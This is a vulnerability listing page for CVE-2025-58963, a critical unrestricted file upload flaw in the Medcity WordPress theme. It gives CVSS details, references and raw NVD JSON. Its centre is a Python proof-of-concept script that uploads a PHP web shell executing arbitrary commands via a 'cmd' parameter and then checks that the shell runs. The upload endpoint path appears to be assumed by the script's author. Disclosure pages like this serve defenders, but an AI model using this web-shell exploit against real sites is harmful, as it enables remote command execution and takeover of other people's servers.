CVE-2025-58963

Description

Unrestricted Upload of File with Dangerous Type vulnerability in 7oroof Medcity medcity allows Upload a Web Shell to a Web Server.This issue affects Medcity: from n/a through < 1.1.9.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Medcity Theme < 1.1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-58963 - WordPress Medcity Theme Arbitrary File Upload PoC
Note: This PoC is for educational and authorized security testing purposes only.
"""

import requests
import sys

target_url = "http://target-site.com/"  # Replace with target URL
upload_endpoint = f"{target_url}wp-content/themes/medcity/inc/upload-handler.php"

# Web Shell content
web_shell = """<?php
if(isset($_REQUEST['cmd'])){
    echo '<pre>';
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo '</pre>';
}
?>"""

def exploit_upload():
    """Attempt to upload malicious file"""
    files = {
        'file': ('shell.php', web_shell, 'application/x-php')
    }
    
    try:
        response = requests.post(upload_endpoint, files=files, timeout=10)
        
        if response.status_code == 200:
            # Extract uploaded file path from response
            shell_path = f"{target_url}wp-content/uploads/shell.php"
            print(f"[!] Shell uploaded successfully!")
            print(f"[*] Shell location: {shell_path}")
            print(f"[*] Usage: {shell_path}?cmd=whoami")
            
            # Verify shell works
            verify = requests.get(f"{shell_path}?cmd=echo+vulnerable", timeout=10)
            if 'vulnerable' in verify.text:
                print("[+] Shell is executable - VULNERABLE!")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("[*] CVE-2025-58963 PoC - Medcity Theme File Upload")
    exploit_upload()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58963
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58963
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58963/
[4] VulDB https://vuldb.com/cve/CVE-2025-58963
[5] https://patchstack.com/database/Wordpress/Theme/medcity/vulnerability/wordpress-medcity-theme-1-1-9-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58963", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:52.830", "lastModified": "2026-04-27T20:16:22.830", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in 7oroof Medcity medcity allows Upload a Web Shell to a Web Server.This issue affects Medcity: from n/a through < 1.1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/medcity/vulnerability/wordpress-medcity-theme-1-1-9-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}